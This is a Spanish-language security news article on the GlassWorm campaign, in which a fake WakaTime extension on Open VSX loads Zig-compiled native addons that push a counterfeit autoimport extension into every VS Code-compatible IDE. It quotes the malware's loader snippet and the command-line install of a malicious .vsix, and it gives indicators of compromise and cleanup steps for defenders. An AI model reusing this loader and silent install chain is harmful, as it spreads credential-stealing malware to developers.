Volver al inicio

GlassWorm: Zig-dropper en WakaTime infecta IDE

Campaña de GlassWorm evolucionó a usar Zig-binaries en extensiones falsas de WakaTime y autoimport. Ataque infecta todos los IDEs compatibles con VS Code en la máquina, evadiendo JS-sandbox. Recomendaciones para detección y limpieza.

GlassWorm Zig-attack: todos tus IDEs en riesgo
Advertisement 728x90

GlassWorm: El dropper nativo en Zig infecta todos los editores VS Code

Una nueva fase de la campaña GlassWorm utiliza una extensión falsa de WakaTime en Open VSX para desplegar un binario nativo en Zig. Este código evita el sandbox de JavaScript, escanea el sistema y instala malware en todos los IDE compatibles con VS Code del equipo—desde VS Code mismo hasta Cursor y Positron.

Los investigadores de Aikido Security descubrieron la extensión code-wakatime-activity-tracker, que imita a WakaTime legítimo pero incluye una función activate() modificada. Esta función descarga el binario win.node (Windows) o mac.node (macOS), desencadenando toda la cadena de infección.

Mecanismo de carga inicial

La función activate() requiere el complemento nativo:

Google AdInline article slot
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Estos binarios son complementos nativos de Node.js (DLL PE32+ en Windows, Mach-O en macOS para x86_64/arm64), compilados con Zig. Se inyectan directamente en el runtime de Node con privilegios de nivel del sistema, evadiendo el sandbox de JavaScript. Los símbolos de depuración en la versión macOS apuntan a /Users/davidioasd/Downloads/vsx_installer_zig.

A continuación, el binario enumera las rutas de los IDEs:

  • Windows: %LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
  • %LOCALAPPDATA%\Programs\Cursor\resources\app\bin\cursor.cmd
  • Rutas similares para VS Code Insiders, Windsurf, VSCodium y Positron.

En macOS: /Applications/*.app para los mismos editores. Si hay múltiples IDEs, todos quedan comprometidos.

Google AdInline article slot

Segunda etapa: Falsificación de autoimportación

El binario descarga el archivo .vsix floktokbok.autoimport desde GitHub Releases (una réplica de steoates.autoimport, con más de 5 millones de instalaciones). Cada IDE se instala mediante CLI:

cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"

Tras la instalación, cleanupVsix() elimina rastros. El segundo dropper omite los idiomas rusos y utiliza la blockchain Solana para comunicación C2 (la dirección extraída de transacciones de billetera). Exfiltra secretos, despliega un RAT y instala un infostealer de Chrome para robar cookies y registrar teclas.

Compromisos del ataque:

Google AdInline article slot
  • Ventajas: El código nativo permanece invisible en DevTools; la C2 basada en Solana resiste bloqueos de dominios.
  • Desventajas: Los hashes binarios permanecen estáticos hasta reconstrucción; limitado a Windows y macOS.

Evolución de GlassWorm

La campaña ha estado activa desde marzo de 2025, evolucionando desde paquetes npm con cargas únicas Unicode hasta GitHub y el mercado de extensiones de VS Code. ¿Cuál es el cambio clave? Usar complementos basados en Zig en lugar de JavaScript, lo que exige análisis a nivel del sistema operativo. Ya han sido comprometidos cientos de proyectos.

Indicadores de Compromiso

Extensiones:

  • specstudio.code-wakatime-activity-tracker
  • floktokbok.autoimport

Binarios SHA-256:

  • win.node: 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
  • mac.node: 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44

Cadenas: vsx_installer_zig, davidioasd

Conclusiones clave

  • Los complementos nativos en Zig evitan el análisis de JS: monitoree archivos .node y .dll en extensiones.
  • La infección es en cadena: una extensión comprometida infecta todos los forks de VS Code en la máquina.
  • C2 basada en Solana: los bloqueos de dominios no funcionan — el monitoreo de blockchain es esencial.
  • Omisión del idioma ruso indica objetivo específico: gire sus secretos inmediatamente si se detecta.
  • Prevención: verifique editor y número de instalaciones; escanee carpetas EDR para extensiones.

Pasos de limpieza

  • Revise las extensiones en todos los IDEs (VS Code, Cursor, etc.).
  • Elimine las sospechosas; cambie claves SSH, tokens (npm, PAT de GitHub, AWS).
  • Limpie Chrome de extensiones desconocidas y cierre sesión en todos los sitios.
  • Implemente listas blancas de extensiones y EDR para complementos nativos.

— Editorial Team

Advertisement 728x90

Leer después